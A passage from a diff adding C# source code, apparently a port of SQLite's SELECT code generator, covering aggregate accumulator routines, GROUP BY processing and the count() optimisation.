= pParse.db; + if ( ( p.selFlags & SF_HasTypeInfo ) != 0 ) + return; + sqlite3SelectExpand( pParse, p ); + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + return; + sqlite3ResolveSelectNames( pParse, p, pOuterNC ); + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + return; + sqlite3SelectAddTypeInfo( pParse, p ); + } + + /* + ** Reset the aggregate accumulator. + ** + ** The aggregate accumulator is a set of memory cells that hold + ** intermediate results while calculating an aggregate. This + ** routine simply stores NULLs in all of those memory cells. + */ + static void resetAccumulator( Parse pParse, AggInfo pAggInfo ) + { + Vdbe v = pParse.pVdbe; + int i; + AggInfo_func pFunc; + if ( pAggInfo.nFunc + pAggInfo.nColumn == 0 ) + { + return; + } + for ( i = 0; i < pAggInfo.nColumn; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, pAggInfo.aCol[i].iMem ); + } + for ( i = 0; i < pAggInfo.nFunc; i++ ) + {//, pFunc++){ + pFunc = pAggInfo.aFunc[i]; + sqlite3VdbeAddOp2( v, OP_Null, 0, pFunc.iMem ); + if ( pFunc.iDistinct >= 0 ) + { + Expr pE = pFunc.pExpr; + Debug.Assert( !ExprHasProperty( pE, EP_xIsSelect ) ); + if ( pE.x.pList == null || pE.x.pList.nExpr != 1 ) + { + sqlite3ErrorMsg( pParse, "DISTINCT aggregates must have exactly one " + + "argument" ); + pFunc.iDistinct = -1; + } + else + { + KeyInfo pKeyInfo = keyInfoFromExprList( pParse, pE.x.pList ); + sqlite3VdbeAddOp4( v, OP_OpenEphemeral, pFunc.iDistinct, 0, 0, + pKeyInfo, P4_KEYINFO_HANDOFF ); + } + } + } + } + + /* + ** Invoke the OP_AggFinalize opcode for every aggregate function + ** in the AggInfo structure. + */ + static void finalizeAggFunctions( Parse pParse, AggInfo pAggInfo ) + { + Vdbe v = pParse.pVdbe; + int i; + AggInfo_func pF; + for ( i = 0; i < pAggInfo.nFunc; i++ ) + {//, pF++){ + pF = pAggInfo.aFunc[i]; + ExprList pList = pF.pExpr.x.pList; + Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) ); + sqlite3VdbeAddOp4( v, OP_AggFinal, pF.iMem, pList != null ? pList.nExpr : 0, 0, + pF.pFunc, P4_FUNCDEF ); + } + } + + /* + ** Update the accumulator memory cells for an aggregate based on + ** the current cursor position. + */ + static void updateAccumulator( Parse pParse, AggInfo pAggInfo ) + { + Vdbe v = pParse.pVdbe; + int i; + AggInfo_func pF; + AggInfo_col pC; + + pAggInfo.directMode = 1; + sqlite3ExprCacheClear( pParse ); + for ( i = 0; i < pAggInfo.nFunc; i++ ) + {//, pF++){ + pF = pAggInfo.aFunc[i]; + int nArg; + int addrNext = 0; + int regAgg; + Debug.Assert( !ExprHasProperty( pF.pExpr, EP_xIsSelect ) ); + ExprList pList = pF.pExpr.x.pList; + if ( pList != null ) + { + nArg = pList.nExpr; + regAgg = sqlite3GetTempRange( pParse, nArg ); + sqlite3ExprCodeExprList( pParse, pList, regAgg, true ); + } + else + { + nArg = 0; + regAgg = 0; + } + if ( pF.iDistinct >= 0 ) + { + addrNext = sqlite3VdbeMakeLabel( v ); + Debug.Assert( nArg == 1 ); + codeDistinct( pParse, pF.iDistinct, addrNext, 1, regAgg ); + } + if ( ( pF.pFunc.flags & SQLITE_FUNC_NEEDCOLL ) != 0 ) + { + CollSeq pColl = null; + ExprList_item pItem; + int j; + Debug.Assert( pList != null ); /* pList!=0 if pF->pFunc has NEEDCOLL */ + for ( j = 0; pColl == null && j < nArg; j++ ) + {//, pItem++){ + pItem = pList.a[j]; + pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr ); + } + if ( pColl == null ) + { + pColl = pParse.db.pDfltColl; + } + sqlite3VdbeAddOp4( v, OP_CollSeq, 0, 0, 0, pColl, P4_COLLSEQ ); + } + sqlite3VdbeAddOp4( v, OP_AggStep, 0, regAgg, pF.iMem, + pF.pFunc, P4_FUNCDEF ); + sqlite3VdbeChangeP5( v, (u8)nArg ); + sqlite3ExprCacheAffinityChange( pParse, regAgg, nArg ); + sqlite3ReleaseTempRange( pParse, regAgg, nArg ); + if ( addrNext != 0 ) + { + sqlite3VdbeResolveLabel( v, addrNext ); + sqlite3ExprCacheClear( pParse ); + } + } + + /* Before populating the accumulator registers, clear the column cache. + ** Otherwise, if any of the required column values are already present + ** in registers, sqlite3ExprCode() may use OP_SCopy to copy the value + ** to pC->iMem. But by the time the value is used, the original register + ** may have been used, invalidating the underlying buffer holding the + ** text or blob value. See ticket [883034dcb5]. + ** + ** Another solution would be to change the OP_SCopy used to copy cached + ** values to an OP_Copy. + */ + sqlite3ExprCacheClear( pParse ); + for ( i = 0; i < pAggInfo.nAccumulator; i++ )//, pC++) + { + pC = pAggInfo.aCol[i]; + sqlite3ExprCode( pParse, pC.pExpr, pC.iMem ); + } + pAggInfo.directMode = 0; + sqlite3ExprCacheClear( pParse ); + } + + /* + ** Add a single OP_Explain instruction to the VDBE to explain a simple + ** count() query ("SELECT count() FROM pTab"). + */ +#if !SQLITE_OMIT_EXPLAIN + static void explainSimpleCount( + Parse pParse, /* Parse context */ + Table pTab, /* Table being queried */ + Index pIdx /* Index used to optimize scan, or NULL */ + ) + { + if ( pParse.explain == 2 ) + { + string zEqp = sqlite3MPrintf( pParse.db, "SCAN TABLE %s %s%s(~%d rows)", + pTab.zName, + pIdx != null ? "USING COVERING INDEX " : "", + pIdx != null ? pIdx.zName : "", + pTab.nRowEst + ); + sqlite3VdbeAddOp4( + pParse.pVdbe, OP_Explain, pParse.iSelectId, 0, 0, zEqp, P4_DYNAMIC + ); + } + } +#else +//# define explainSimpleCount(a,b,c) + static void explainSimpleCount(Parse a, Table b, Index c){} +#endif + + /* + ** Generate code for the SELECT statement given in the p argument. + ** + ** The results are distributed in various ways depending on the + ** contents of the SelectDest structure pointed to by argument pDest + ** as follows: + ** + ** pDest.eDest Result + ** ------------ ------------------------------------------- + ** SRT_Output Generate a row of output (using the OP_ResultRow + ** opcode) for each row in the result set. + ** + ** SRT_Mem Only valid if the result is a single column. + ** Store the first column of the first result row + ** in register pDest.iParm then abandon the rest + ** of the query. This destination implies "LIMIT 1". + ** + ** SRT_Set The result must be a single column. Store each + ** row of result as the key in table pDest.iParm. + ** Apply the affinity pDest.affinity before storing + ** results. Used to implement "IN (SELECT ...)". + ** + ** SRT_Union Store results as a key in a temporary table pDest.iParm. + ** + ** SRT_Except Remove results from the temporary table pDest.iParm. + ** + ** SRT_Table Store results in temporary table pDest.iParm. + ** This is like SRT_EphemTab except that the table + ** is assumed to already be open. + ** + ** SRT_EphemTab Create an temporary table pDest.iParm and store + ** the result there. The cursor is left open after + ** returning. This is like SRT_Table except that + ** this destination uses OP_OpenEphemeral to create + ** the table first. + ** + ** SRT_Coroutine Generate a co-routine that returns a new row of + ** results each time it is invoked. The entry point + ** of the co-routine is stored in register pDest.iParm. + ** + ** SRT_Exists Store a 1 in memory cell pDest.iParm if the result + ** set is not empty. + ** + ** SRT_Discard Throw the results away. This is used by SELECT + ** statements within triggers whose only purpose is + ** the side-effects of functions. + ** + ** This routine returns the number of errors. If any errors are + ** encountered, then an appropriate error message is left in + ** pParse.zErrMsg. + ** + ** This routine does NOT free the Select structure passed in. The + ** calling function needs to do that. + */ + static SelectDest sdDummy = null; + static bool bDummy = false; + + static int sqlite3Select( + Parse pParse, /* The parser context */ + Select p, /* The SELECT statement being coded. */ + ref SelectDest pDest /* What to do with the query results */ + ) + { + int i, j; /* Loop counters */ + WhereInfo pWInfo; /* Return from sqlite3WhereBegin() */ + Vdbe v; /* The virtual machine under construction */ + bool isAgg; /* True for select lists like "count()" */ + ExprList pEList = new ExprList(); /* List of columns to extract. */ + SrcList pTabList = new SrcList(); /* List of tables to select from */ + Expr pWhere; /* The WHERE clause. May be NULL */ + ExprList pOrderBy; /* The ORDER BY clause. May be NULL */ + ExprList pGroupBy; /* The GROUP BY clause. May be NULL */ + Expr pHaving; /* The HAVING clause. May be NULL */ + bool isDistinct; /* True if the DISTINCT keyword is present */ + int distinct; /* Table to use for the distinct set */ + int rc = 1; /* Value to return from this function */ + int addrSortIndex; /* Address of an OP_OpenEphemeral instruction */ + AggInfo sAggInfo; /* Information used by aggregate queries */ + int iEnd; /* Address of the end of the query */ + sqlite3 db; /* The database connection */ + +#if !SQLITE_OMIT_EXPLAIN + int iRestoreSelectId = pParse.iSelectId; + pParse.iSelectId = pParse.iNextSelectId++; +#endif + + db = pParse.db; + if ( p == null /*|| db.mallocFailed != 0 */ || pParse.nErr != 0 ) + { + return 1; + } +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +if (sqlite3AuthCheck(pParse, SQLITE_SELECT, 0, 0, 0)) return 1; +#endif + sAggInfo = new AggInfo();// memset(sAggInfo, 0, sAggInfo).Length; + + if ( pDest.eDest <= SRT_Discard ) //IgnorableOrderby(pDest)) + { + Debug.Assert( pDest.eDest == SRT_Exists || pDest.eDest == SRT_Union || + pDest.eDest == SRT_Except || pDest.eDest == SRT_Discard ); + /* If ORDER BY makes no difference in the output then neither does + ** DISTINCT so it can be removed too. */ + sqlite3ExprListDelete( db, ref p.pOrderBy ); + p.pOrderBy = null; + p.selFlags = (u16)( p.selFlags & ~SF_Distinct ); + } + sqlite3SelectPrep( pParse, p, null ); + pOrderBy = p.pOrderBy; + pTabList = p.pSrc; + pEList = p.pEList; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + { + goto select_end; + } + isAgg = ( p.selFlags & SF_Aggregate ) != 0; + Debug.Assert( pEList != null ); + + /* Begin generating code. + */ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + goto select_end; + + /* If writing to memory or generating a set + ** only a single column may be output. + */ +#if !SQLITE_OMIT_SUBQUERY + if ( checkForMultiColumnSelectError( pParse, pDest, pEList.nExpr ) ) + { + goto select_end; + } +#endif + + /* Generate code for all sub-queries in the FROM clause +*/ +#if !SQLITE_OMIT_SUBQUERY || !SQLITE_OMIT_VIEW + for ( i = 0; p.pPrior == null && i < pTabList.nSrc; i++ ) + { + SrcList_item pItem = pTabList.a[i]; + SelectDest dest = new SelectDest(); + Select pSub = pItem.pSelect; + bool isAggSub; + + if ( pSub == null || pItem.isPopulated != 0 ) + continue; + + /* Increment Parse.nHeight by the height of the largest expression + ** tree refered to by this, the parent select. The child select + ** may contain expression trees of at most + ** (SQLITE_MAX_EXPR_DEPTH-Parse.nHeight) height. This is a bit + ** more conservative than necessary, but much easier than enforcing + ** an exact limit. + */ + pParse.nHeight += sqlite3SelectExprHeight( p ); + + /* Check to see if the subquery can be absorbed into the parent. */ + isAggSub = ( pSub.selFlags & SF_Aggregate ) != 0; + if ( flattenSubquery( pParse, p, i, isAgg, isAggSub ) != 0 ) + { + if ( isAggSub ) + { + isAgg = true; + p.selFlags |= SF_Aggregate; + } + i = -1; + } + else + { + sqlite3SelectDestInit( dest, SRT_EphemTab, pItem.iCursor ); + Debug.Assert( 0 == pItem.isPopulated ); + explainSetInteger( ref pItem.iSelectId, (int)pParse.iNextSelectId ); + sqlite3Select( pParse, pSub, ref dest ); + pItem.isPopulated = 1; + pItem.pTab.nRowEst = (uint)pSub.nSelectRow; + } + //if ( /* pParse.nErr != 0 || */ db.mallocFailed != 0 ) + //{ + // goto select_end; + //} + pParse.nHeight -= sqlite3SelectExprHeight( p ); + pTabList = p.pSrc; + if ( !( pDest.eDest <= SRT_Discard ) )// if( null==IgnorableOrderby(pDest) ) + { + pOrderBy = p.pOrderBy; + } + } + pEList = p.pEList; +#endif + pWhere = p.pWhere; + pGroupBy = p.pGroupBy; + pHaving = p.pHaving; + isDistinct = ( p.selFlags & SF_Distinct ) != 0; + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* If there is are a sequence of queries, do the earlier ones first. +*/ + if ( p.pPrior != null ) + { + if ( p.pRightmost == null ) + { + Select pLoop, pRight = null; + int cnt = 0; + int mxSelect; + for ( pLoop = p; pLoop != null; pLoop = pLoop.pPrior, cnt++ ) + { + pLoop.pRightmost = p; + pLoop.pNext = pRight; + pRight = pLoop; + } + mxSelect = db.aLimit[SQLITE_LIMIT_COMPOUND_SELECT]; + if ( mxSelect != 0 && cnt > mxSelect ) + { + sqlite3ErrorMsg( pParse, "too many terms in compound SELECT" ); + goto select_end; + } + } + rc = multiSelect( pParse, p, pDest ); + explainSetInteger( ref pParse.iSelectId, iRestoreSelectId ); + return rc; + } +#endif + + /* If possible, rewrite the query to use GROUP BY instead of DISTINCT. +** GROUP BY might use an index, DISTINCT never does. +*/ + Debug.Assert( p.pGroupBy == null || ( p.selFlags & SF_Aggregate ) != 0 ); + if ( ( p.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct ) + { + p.pGroupBy = sqlite3ExprListDup( db, p.pEList, 0 ); + pGroupBy = p.pGroupBy; + p.selFlags = (u16)( p.selFlags & ~SF_Distinct ); + } + + /* If there is both a GROUP BY and an ORDER BY clause and they are + ** identical, then disable the ORDER BY clause since the GROUP BY + ** will cause elements to come out in the correct order. This is + ** an optimization - the correct answer should result regardless. + ** Use the SQLITE_GroupByOrder flag with SQLITE_TESTCTRL_OPTIMIZER + ** to disable this optimization for testing purposes. + */ + if ( sqlite3ExprListCompare( p.pGroupBy, pOrderBy ) == 0 + && ( db.flags & SQLITE_GroupByOrder ) == 0 ) + { + pOrderBy = null; + } + + /* If there is an ORDER BY clause, then this sorting + ** index might end up being unused if the data can be + ** extracted in pre-sorted order. If that is the case, then the + ** OP_OpenEphemeral instruction will be changed to an OP_Noop once + ** we figure out that the sorting index is not needed. The addrSortIndex + ** variable is used to facilitate that change. + */ + if ( pOrderBy != null ) + { + KeyInfo pKeyInfo; + pKeyInfo = keyInfoFromExprList( pParse, pOrderBy ); + pOrderBy.iECursor = pParse.nTab++; + p.addrOpenEphm[2] = addrSortIndex = + sqlite3VdbeAddOp4( v, OP_OpenEphemeral, + pOrderBy.iECursor, pOrderBy.nExpr + 2, 0, + pKeyInfo, P4_KEYINFO_HANDOFF ); + } + else + { + addrSortIndex = -1; + } + + /* If the output is destined for a temporary table, open that table. + */ + if ( pDest.eDest == SRT_EphemTab ) + { + sqlite3VdbeAddOp2( v, OP_OpenEphemeral, pDest.iParm, pEList.nExpr ); + } + + /* Set the limiter. + */ + iEnd = sqlite3VdbeMakeLabel( v ); + p.nSelectRow = (double)LARGEST_INT64; + computeLimitRegisters( pParse, p, iEnd ); + + /* Open a virtual index to use for the distinct set. + */ + if ( ( p.selFlags & SF_Distinct ) != 0 ) + { + KeyInfo pKeyInfo; + Debug.Assert( isAgg || pGroupBy != null ); + distinct = pParse.nTab++; + pKeyInfo = keyInfoFromExprList( pParse, p.pEList ); + sqlite3VdbeAddOp4( v, OP_OpenEphemeral, distinct, 0, 0, + pKeyInfo, P4_KEYINFO_HANDOFF ); + sqlite3VdbeChangeP5( v, BTREE_UNORDERED ); + } + else + { + distinct = -1; + } + + /* Aggregate and non-aggregate queries are handled differently */ + if ( !isAgg && pGroupBy == null ) + { + /* This case is for non-aggregate queries + ** Begin the database scan + */ + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pOrderBy, 0 ); + if ( pWInfo == null ) + goto select_end; + if ( pWInfo.nRowOut < p.nSelectRow ) + p.nSelectRow = pWInfo.nRowOut; + + /* If sorting index that was created by a prior OP_OpenEphemeral + ** instruction ended up not being needed, then change the OP_OpenEphemeral + ** into an OP_Noop. + */ + if ( addrSortIndex >= 0 && pOrderBy == null ) + { + sqlite3VdbeChangeToNoop( v, addrSortIndex, 1 ); + p.addrOpenEphm[2] = -1; + } + + /* Use the standard inner loop + */ + Debug.Assert( !isDistinct ); + selectInnerLoop( pParse, p, pEList, 0, 0, pOrderBy, -1, pDest, + pWInfo.iContinue, pWInfo.iBreak ); + + /* End the database scan loop. + */ + sqlite3WhereEnd( pWInfo ); + } + else + { + /* This is the processing for aggregate queries */ + NameContext sNC; /* Name context for processing aggregate information */ + int iAMem; /* First Mem address for storing current GROUP BY */ + int iBMem; /* First Mem address for previous GROUP BY */ + int iUseFlag; /* Mem address holding flag indicating that at least +** one row of the input to the aggregator has been +** processed */ + int iAbortFlag; /* Mem address which causes query abort if positive */ + int groupBySort; /* Rows come from source in GR BY' clause thanROUP BY order */ + + int addrEnd; /* End of processing for this SELECT */ + + /* Remove any and all aliases between the result set and the + ** GROUP BY clause. + */ + if ( pGroupBy != null ) + { + int k; /* Loop counter */ + ExprList_item pItem; /* For looping over expression in a list */ + + for ( k = p.pEList.nExpr; k > 0; k-- )//, pItem++) + { + pItem = p.pEList.a[p.pEList.nExpr - k]; + pItem.iAlias = 0; + } + for ( k = pGroupBy.nExpr; k > 0; k-- )//, pItem++ ) + { + pItem = pGroupBy.a[pGroupBy.nExpr - k]; + pItem.iAlias = 0; + } + if ( p.nSelectRow > (double)100 ) + p.nSelectRow = (double)100; + } + else + { + p.nSelectRow = (double)1; + } + + /* Create a label to jump to when we want to abort the query */ + addrEnd = sqlite3VdbeMakeLabel( v ); + + /* Convert TK_COLUMN nodes into TK_AGG_COLUMN and make entries in + ** sAggInfo for all TK_AGG_FUNCTION nodes in expressions of the + ** SELECT statement. + */ + sNC = new NameContext(); // memset(sNC, 0, sNC).Length; + sNC.pParse = pParse; + sNC.pSrcList = pTabList; + sNC.pAggInfo = sAggInfo; + sAggInfo.nSortingColumn = pGroupBy != null ? pGroupBy.nExpr + 1 : 0; + sAggInfo.pGroupBy = pGroupBy; + sqlite3ExprAnalyzeAggList( sNC, pEList ); + sqlite3ExprAnalyzeAggList( sNC, pOrderBy ); + if ( pHaving != null ) + { + sqlite3ExprAnalyzeAggregates( sNC, ref pHaving ); + } + sAggInfo.nAccumulator = sAggInfo.nColumn; + for ( i = 0; i < sAggInfo.nFunc; i++ ) + { + Debug.Assert( !ExprHasProperty( sAggInfo.aFunc[i].pExpr, EP_xIsSelect ) ); + sqlite3ExprAnalyzeAggList( sNC, sAggInfo.aFunc[i].pExpr.x.pList ); + } + // if ( db.mallocFailed != 0 ) goto select_end; + + /* Processing for aggregates with GROUP BY is very different and + ** much more complex than aggregates without a GROUP BY. + */ + if ( pGroupBy != null ) + { + KeyInfo pKeyInfo; /* Keying information for the group by clause */ + int j1; /* A-vs-B comparision jump */ + int addrOutputRow; /* Start of subroutine that outputs a result row */ + int regOutputRow; /* Return address register for output subroutine */ + int addrSetAbort; /* Set the abort flag and return */ + int addrTopOfLoop; /* Top of the input loop */ + int addrSortingIdx; /* The OP_OpenEphemeral for the sorting index */ + int addrReset; /* Subroutine for resetting the accumulator */ + int regReset; /* Return address register for reset subroutine */ + + /* If there is a GROUP BY clause we might need a sorting index to + ** implement it. Allocate that sorting index now. If it turns out + ** that we do not need it after all, the OpenEphemeral instruction + ** will be converted into a Noop. + */ + sAggInfo.sortingIdx = pParse.nTab++; + pKeyInfo = keyInfoFromExprList( pParse, pGroupBy ); + addrSortingIdx = sqlite3VdbeAddOp4( v, OP_OpenEphemeral, + sAggInfo.sortingIdx, sAggInfo.nSortingColumn, + 0, pKeyInfo, P4_KEYINFO_HANDOFF ); + + /* Initialize memory locations used by GROUP BY aggregate processing + */ + iUseFlag = ++pParse.nMem; + iAbortFlag = ++pParse.nMem; + regOutputRow = ++pParse.nMem; + addrOutputRow = sqlite3VdbeMakeLabel( v ); + regReset = ++pParse.nMem; + addrReset = sqlite3VdbeMakeLabel( v ); + iAMem = pParse.nMem + 1; + pParse.nMem += pGroupBy.nExpr; + iBMem = pParse.nMem + 1; + pParse.nMem += pGroupBy.nExpr; + sqlite3VdbeAddOp2( v, OP_Integer, 0, iAbortFlag ); +#if SQLITE_DEBUG + VdbeComment( v, "clear abort flag" ); +#endif + sqlite3VdbeAddOp2( v, OP_Integer, 0, iUseFlag ); +#if SQLITE_DEBUG + VdbeComment( v, "indicate accumulator empty" ); +#endif + + /* Begin a loop that will extract all source rows in GROUP BY order. +** This might involve two separate loops with an OP_Sort in between, or +** it might be a single loop that uses an index to extract information +** in the right order to begin with. +*/ + sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset ); + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref pGroupBy, 0 ); + if ( pWInfo == null ) + goto select_end; + if ( pGroupBy == null ) + { + /* The optimizer is able to deliver rows in group by order so + ** we do not have to sort. The OP_OpenEphemeral table will be + ** cancelled later because we still need to use the pKeyInfo + */ + pGroupBy = p.pGroupBy; + groupBySort = 0; + } + else + { + /* Rows are coming out in undetermined order. We have to push + ** each row into a sorting index, terminate the first loop, + ** then loop over the sorting index in order to get the output + ** in sorted order + */ + int regBase; + int regRecord; + int nCol; + int nGroupBy; + + explainTempTable( pParse, + isDistinct && 0 == ( p.selFlags & SF_Distinct ) ? "DISTINCT" : "GROUP BY" ); + + groupBySort = 1; + nGroupBy = pGroupBy.nExpr; + nCol = nGroupBy + 1; + j = nGroupBy + 1; + for ( i = 0; i < sAggInfo.nColumn; i++ ) + { + if ( sAggInfo.aCol[i].iSorterColumn >= j ) + { + nCol++; + j++; + } + } + regBase = sqlite3GetTempRange( pParse, nCol ); + sqlite3ExprCacheClear( pParse ); + sqlite3ExprCodeExprList( pParse, pGroupBy, regBase, false ); + sqlite3VdbeAddOp2( v, OP_Sequence, sAggInfo.sortingIdx, regBase + nGroupBy ); + j = nGroupBy + 1; + for ( i = 0; i < sAggInfo.nColumn; i++ ) + { + AggInfo_col pCol = sAggInfo.aCol[i]; + if ( pCol.iSorterColumn >= j ) + { + int r1 = j + regBase; + int r2; + r2 = sqlite3ExprCodeGetColumn( pParse, + pCol.pTab, pCol.iColumn, pCol.iTable, r1 ); + if ( r1 != r2 ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, r2, r1 ); + } + j++; + } + } + regRecord = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol, regRecord ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, sAggInfo.sortingIdx, regRecord ); + sqlite3ReleaseTempReg( pParse, regRecord ); + sqlite3ReleaseTempRange( pParse, regBase, nCol ); + sqlite3WhereEnd( pWInfo ); + sqlite3VdbeAddOp2( v, OP_Sort, sAggInfo.sortingIdx, addrEnd ); +#if SQLITE_DEBUG + VdbeComment( v, "GROUP BY sort" ); +#endif + sAggInfo.useSortingIdx = 1; + sqlite3ExprCacheClear( pParse ); + } + + /* Evaluate the current GROUP BY terms and store in b0, b1, b2... + ** (b0 is memory location iBMem+0, b1 is iBMem+1, and so forth) + ** Then compare the current GROUP BY terms against the GROUP BY terms + ** from the previous row currently stored in a0, a1, a2... + */ + addrTopOfLoop = sqlite3VdbeCurrentAddr( v ); + sqlite3ExprCacheClear( pParse ); + for ( j = 0; j < pGroupBy.nExpr; j++ ) + { + if ( groupBySort != 0 ) + { + sqlite3VdbeAddOp3( v, OP_Column, sAggInfo.sortingIdx, j, iBMem + j ); + } + else + { + sAggInfo.directMode = 1; + sqlite3ExprCode( pParse, pGroupBy.a[j].pExpr, iBMem + j ); + } + } + sqlite3VdbeAddOp4( v, OP_Compare, iAMem, iBMem, pGroupBy.nExpr, + pKeyInfo, P4_KEYINFO ); + j1 = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp3( v, OP_Jump, j1 + 1, 0, j1 + 1 ); + + /* Generate code that runs whenever the GROUP BY changes. + ** Changes in the GROUP BY are detected by the previous code + ** block. If there were no changes, this block is skipped. + ** + ** This code copies current group by terms in b0,b1,b2,... + ** over to a0,a1,a2. It then calls the output subroutine + ** and resets the aggregate accumulator registers in preparation + ** for the next GROUP BY batch. + */ + sqlite3ExprCodeMove( pParse, iBMem, iAMem, pGroupBy.nExpr ); + sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow ); +#if SQLITE_DEBUG + VdbeComment( v, "output one row" ); +#endif + sqlite3VdbeAddOp2( v, OP_IfPos, iAbortFlag, addrEnd ); +#if SQLITE_DEBUG + VdbeComment( v, "check abort flag" ); +#endif + sqlite3VdbeAddOp2( v, OP_Gosub, regReset, addrReset ); +#if SQLITE_DEBUG + VdbeComment( v, "reset accumulator" ); +#endif + + /* Update the aggregate accumulators based on the content of +** the current row +*/ + sqlite3VdbeJumpHere( v, j1 ); + updateAccumulator( pParse, sAggInfo ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iUseFlag ); +#if SQLITE_DEBUG + VdbeComment( v, "indicate data in accumulator" ); +#endif + /* End of the loop +*/ + if ( groupBySort != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Next, sAggInfo.sortingIdx, addrTopOfLoop ); + } + else + { + sqlite3WhereEnd( pWInfo ); + sqlite3VdbeChangeToNoop( v, addrSortingIdx, 1 ); + } + + /* Output the final row of result + */ + sqlite3VdbeAddOp2( v, OP_Gosub, regOutputRow, addrOutputRow ); +#if SQLITE_DEBUG + VdbeComment( v, "output final row" ); +#endif + /* Jump over the subroutines +*/ + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEnd ); + + /* Generate a subroutine that outputs a single row of the result + ** set. This subroutine first looks at the iUseFlag. If iUseFlag + ** is less than or equal to zero, the subroutine is a no-op. If + ** the processing calls for the query to abort, this subroutine + ** increments the iAbortFlag memory location before returning in + ** order to signal the caller to abort. + */ + addrSetAbort = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, iAbortFlag ); + VdbeComment( v, "set abort flag" ); + sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); + sqlite3VdbeResolveLabel( v, addrOutputRow ); + addrOutputRow = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_IfPos, iUseFlag, addrOutputRow + 2 ); + VdbeComment( v, "Groupby result generator entry point" ); + sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); + finalizeAggFunctions( pParse, sAggInfo ); + sqlite3ExprIfFalse( pParse, pHaving, addrOutputRow + 1, SQLITE_JUMPIFNULL ); + selectInnerLoop( pParse, p, p.pEList, 0, 0, pOrderBy, + distinct, pDest, + addrOutputRow + 1, addrSetAbort ); + sqlite3VdbeAddOp1( v, OP_Return, regOutputRow ); + VdbeComment( v, "end groupby result generator" ); + + /* Generate a subroutine that will reset the group-by accumulator + */ + sqlite3VdbeResolveLabel( v, addrReset ); + resetAccumulator( pParse, sAggInfo ); + sqlite3VdbeAddOp1( v, OP_Return, regReset ); + + } /* endif pGroupBy. Begin aggregate queries without GROUP BY: */ + else + { + ExprList pDel = null; +#if !SQLITE_OMIT_BTREECOUNT + Table pTab; + if ( ( pTab = isSimpleCount( p, sAggInfo ) ) != null ) + { + /* If isSimpleCount() returns a pointer to a Table structure, then + ** the SQL statement is of the form: + ** + ** SELECT count() FROM + ** + ** where the Table structure returned represents table . + ** + ** This statement is so common that it is optimized specially. The + ** OP_Count instruction is executed either on the intkey table that + ** contains the data for table or on one of its indexes. It + ** is better to execute the op on an index, as indexes are almost + ** always spread across less pages than their corresponding tables. + */ + int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + int iCsr = pParse.nTab++; /* Cursor to scan b-tree */ + Index pIdx; /* Iterator variable */ + KeyInfo pKeyInfo = null; /* Keyinfo for scanned index */ + Index pBest = null; /* Best index found so far */ + int iRoot = pTab.tnum; /* Root page of scanned b-tree */ + + sqlite3CodeVerifySchema( pParse, iDb ); + sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); + + /* Search for the index that has the least amount of columns. If + ** there is such an index, and it has less columns than the table + ** does, then we can assume that it consumes less space on disk and + ** will therefore be cheaper to scan to determine the query result. + ** In this case set iRoot to the root page number of the index b-tree + ** and pKeyInfo to the KeyInfo structure required to navigate the + ** index. + ** + ** (2011-04-15) Do not do a full scan of an unordered index. + ** + ** In practice the KeyInfo structure will not be used. It is only + ** passed to keep OP_OpenRead happy. + */ + for ( pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + if ( pIdx.bUnordered == 0 && ( null == pBest || pIdx.nColumn < pBest.nColumn ) ) + { + pBest = pIdx; + } + } + if ( pBest != null && pBest.nColumn < pTab.nCol ) + { + iRoot = pBest.tnum; + pKeyInfo = sqlite3IndexKeyinfo( pParse, pBest ); + } + + /* Open a read-only cursor, execute the OP_Count, close the cursor. */ + sqlite3VdbeAddOp3( v, OP_OpenRead, iCsr, iRoot, iDb ); + if ( pKeyInfo != null ) + { + sqlite3VdbeChangeP4( v, -1, pKeyInfo, P4_KEYINFO_HANDOFF ); + } + sqlite3VdbeAddOp2( v, OP_Count, iCsr, sAggInfo.aFunc[0].iMem ); + sqlite3VdbeAddOp1( v, OP_Close, iCsr ); + explainSimpleCount( pParse, pTab, pBest ); + } + else +#endif //* SQLITE_OMIT_BTREECOUNT */ + { + + /* Check if the query is of one of the following forms: + ** + ** SELECT min(x) FROM ... + ** SELECT max(x) FROM ... + ** + ** If it is, then ask the code in where.c to attempt to sort results + ** as if there was an "ORDER ON x" or "ORDER ON x DESC" clause. + ** If where.c is able to produce results sorted in this order, then + ** add vdbe code to break out of the processing loop after the + ** first iteration (since the first iteration of the loop is + ** guaranteed to operate on the row with the minimum or maximum + ** value of x, the only row required). + ** + ** A special flag must be passed to sqlite3WhereBegin() to slightly + ** modify behavior as follows: + ** + ** + If the query is a "SELECT min(x)", then the loop coded by + ** where.c should not iterate over any values with a NULL value + ** for x. + ** + ** + The optimizer code in where.c (the thing that decides which + ** index or indices to use) should place a different priority on + ** satisfying the 'ORDER BY' clause than it does in other cases. + ** Refer to code and comments in where.c for details. + */ + ExprList pMinMax = null; + int flag = minMaxQuery( p ); + if ( flag != 0 ) + { + 